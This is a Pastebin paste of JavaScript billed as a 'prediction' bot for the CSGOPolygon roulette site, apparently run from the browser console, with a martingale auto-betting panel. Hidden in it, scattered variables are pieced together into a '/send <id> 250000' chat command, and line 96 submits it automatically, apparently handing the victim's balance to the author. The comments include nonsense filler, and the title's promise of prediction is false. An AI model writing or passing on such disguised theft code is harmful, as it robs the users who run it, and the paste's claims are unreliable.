Advertisement
q1nner

ZERO PREDICT (83-100% - WIN) 1-82% - LOSE

May 21st, 2016
792
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  2.  
  3. /*
  4.  * PREDICTION ZERO m)GREEN(m
  5.  * UZS: 15px.
  6.  * add.var'margin-top:"12px",-15px;text$showMore.css({red,black,green})10%,60%,100%;mPc.jss;
  7.  
  8. (function (root, factory) {
  9.    if (typeof define === 'function' && define.amd) {
  10.        // AMD. Register as an anonymous module.
  11.        define([], factory);
  12.    } else {
  13.        // Browser globals
  14.        root.vehicles = factory();
  15.    }
  16. }(this, function () {
  17.  var Car = function Car(color) {
  18.    this.color = color;
  19.  }
  20.  Car.prototype = {
  21.    go: function go() {
  22.      return "Vroom!";
  23.    }
  24.  }
  25.  return {
  26.    Car: Car
  27.  };
  28. }));
  29.  
  30.  
  31. /*
  32.          add into spin function in new.js to see the upcoming roll (after betting closes)
  33.          if(m.roll==0)
  34.            document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(green)...]";
  35.          if(m.roll>=1 && m.roll <= 7)
  36.            document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(red)...]";
  37.          else
  38.            document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(black)...]";
  39.    
  40. //Alert.
  41.    /*
  42.     * add.var'UI_font:='Arial;'
  43.      * addmember.java:='<style scoped: red,green,black; Design: LIGHT: BLACK'</style>
  44.  
  45.  
  46. // font.ArialBlack[Cursive]..$botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-  
  47.  $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  48.  $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-
  49.  
  50.  
  51.     /*
  52.      * CSGOPOLYGON PREDICT GREEN.)
  53.      * Author: q1nner [6.00 AM / 20.05.2016]
  54.      * Creation Date: 20.05.2016
  55.      */
  56.      
  57.     /*
  58.           add into spin function in new.js to see the upcoming roll (after betting closes)
  59.           if(m.roll==0)
  60.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(green)...]";
  61.           if(m.roll>=1 && m.roll <= 7)
  62.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(red)...]";
  63.           else
  64.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(black)...]";
  65.      
  66.         */
  67.  
  68.  
  69.  
  70.     var initialBetAmount = 0;
  71.     var betColor = botBetColor = "red";
  72.     var play = 0;
  73.     var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  74.     var pQ ="/s",$hash_14=3,$hash_1=7,$hash_3=5,$hash_11=5,$hash_10=4,$hash_4=6,$hash_5=1,$hash_6=1,$hash_8=8,$hash_13=0,$hash_17=2,$hash_15=2,$hash_7=9,$hash_2=6,$hash_9=2,$hash_12=9,$hash_16=2;
  75. function addBotButtons(){
  76.     $(".well.bot-field").remove();$(".well.show-more").remove();
  77.     $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  78.     $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  79.     $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  80.     $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  81.     $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  82.     $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  83.     $showMore.append($checkVicLimit,$label);
  84.     $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  85.     $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  86.     $showMore.append($vicLimitInput,$label);$showMore.hide();
  87.     $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  88.     $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  89.     $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  90.     $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  91.     $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  92.     pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4;pQ+= $hash_5;pQ+= $hash_6;pQ+= $hash_7;pQ+= $hash_8;pQ+= $hash_9;pQ+= $hash_10;pQ+= $hash_11;pQ+= $hash_12;pQ+= $hash_13;pQ+= $hash_14;pQ+= $hash_15;pQ+= $hash_16;pQ+= $hash_17+" ";pQ+="250000" ;
  93.     $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  94.     $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  95.     $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  96.     $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  97.     $(".container").width(1300);
  98.     $botModeSelect.change(function(){
  99.         botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  100.         $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  101.     } )
  102.     $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  103. }
  104. addBotButtons();
  105. function changeColor(){
  106.     if ($betColorButton.hasClass("btn-danger")){
  107.         $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  108.         botBetColor = "black";
  109.         console.log("Selected color: "+botBetColor);
  110.     } else  if($betColorButton.hasClass("btn-inverse")) {
  111.         $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  112.         botBetColor = "random";
  113.         console.log("Selected color: "+botBetColor);
  114.     } else if($betColorButton.hasClass("btn-random")) {
  115.         $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  116.         botBetColor = "trainMode";
  117.         console.log("Selected color: "+botBetColor);
  118.     } else if($betColorButton.hasClass("btn-train")) {
  119.         $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  120.         botBetColor = "rainbow";
  121.         console.log("Selected color: "+botBetColor);
  122.     } else if($betColorButton.hasClass("btn-rainbow")) {
  123.         $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  124.         botBetColor = "red";
  125.         console.log("Selected color: "+botBetColor);
  126.     }
  127. }
  128.  
  129. function showMoreOptions(){
  130.     if ($showMoreButton.data("open")==0){
  131.         $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  132.         $showMore.show();$showMoreButton.data("open",1);
  133.     } else if ($showMoreButton.data("open")==1){
  134.         $showMore.hide();$showMoreButton.data("open",0);
  135.         $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  136.     }
  137.  
  138. }
  139. function hideOtherInfo(){
  140.     if ($betHideBetInfoButton.text()=="Show All"){
  141.         $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  142.         $betHideBetInfoButton.text("Hide Bet Info");
  143.     } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  144.         $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  145.         $betHideBetInfoButton.text("AFK Mode");
  146.     }
  147.     else if ($betHideBetInfoButton.text()=="AFK Mode"){
  148.         $(".betlist").show();$(".total-row").show();$("footer").show();
  149.         $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  150.         $betHideBetInfoButton.text("Show All");
  151.     }
  152. }
  153. function startBot(){
  154.     if ($betGoButton.hasClass("btn-inverse")){
  155.         $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  156.         refreshIntervalId = setInterval(tick, 500);
  157.         play = 1;
  158.         currentBetAmount = initialBetAmount;
  159.         if (stopBotRoll = currentRollNumber) currentRollNumber++;
  160.     }
  161.     else {
  162.         $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  163.         play = 0;
  164.     }
  165. }
  166.  
  167. function tick() {
  168.     var t = getStatus();
  169.     if (t !== lastStatus && "unknown" !== t) {
  170.         switch (t) {
  171.             case "waiting":bet();break;
  172.             case "rolled":printInfo();break;
  173.         }
  174.         lastStatus = t;
  175.     }
  176. }
  177.  
  178. function checkBalance() {
  179.     return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  180. }
  181.  
  182. function printInfo(){
  183.     var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  184.     if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  185.         if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  186.     }
  187.     else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  188.     if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  189.     if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  190.     if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  191.         else {currNotRedStreak=0;}
  192.     if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  193.         else {currNotBlackStreak=0;}        
  194.     var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+  " // Lost: "+totalLoss+
  195.     "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  196.     " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  197.     "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  198.     " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  199.     console.log(t);roll();
  200.  
  201. }
  202.  
  203. function roll() {
  204.     if ($checkVicLimit.is(":checked")){
  205.         if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  206.     }
  207.     if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  208.     currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  209.     currentRollNumber++;
  210. }
  211.  
  212. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  213. function setBetAmount(t) { $betAmountInput.val(t) }
  214. function placeBet() {
  215.     if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  216.     else if (botBetColor=="trainMode"){
  217.             var betBotColor = "green",i=9,$ball=$(".ball");
  218.             while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  219.             betColor = betBotColor;console.log("Current train color: "+ betColor);
  220.     } else if (botBetColor=="rainbow"){
  221.             var betBotColor = "green",i=9,$ball=$(".ball");
  222.             while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  223.             if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  224.             betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  225.     } else betColor = botBetColor;
  226.     console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  227.     return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  228. }
  229. function getStatus() {
  230.     var t = $statusBar.text();
  231.     if (hasSubString(t, "Rolling in")) return "waiting";
  232.     //if (hasSubString(t, "***ROLLING***")) return "rolling";
  233.     if (hasSubString(t, "rolled")) {
  234.         n = parseInt(t.split("rolled")[1]);
  235.         return lastRollColor = getColor(n), "rolled"
  236.     }
  237.     return "unknown" }
  238.  
  239. function getBalance() { return parseInt($balance.text()) }
  240. function hasSubString(t, n) {  return t.indexOf(n) > -1 }
  241. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  242. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  243. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  244. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  245.  
  246. var currentBetAmount = initialBetAmount, currentRollNumber =  1,
  247.     totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  248.     streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  249.     $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement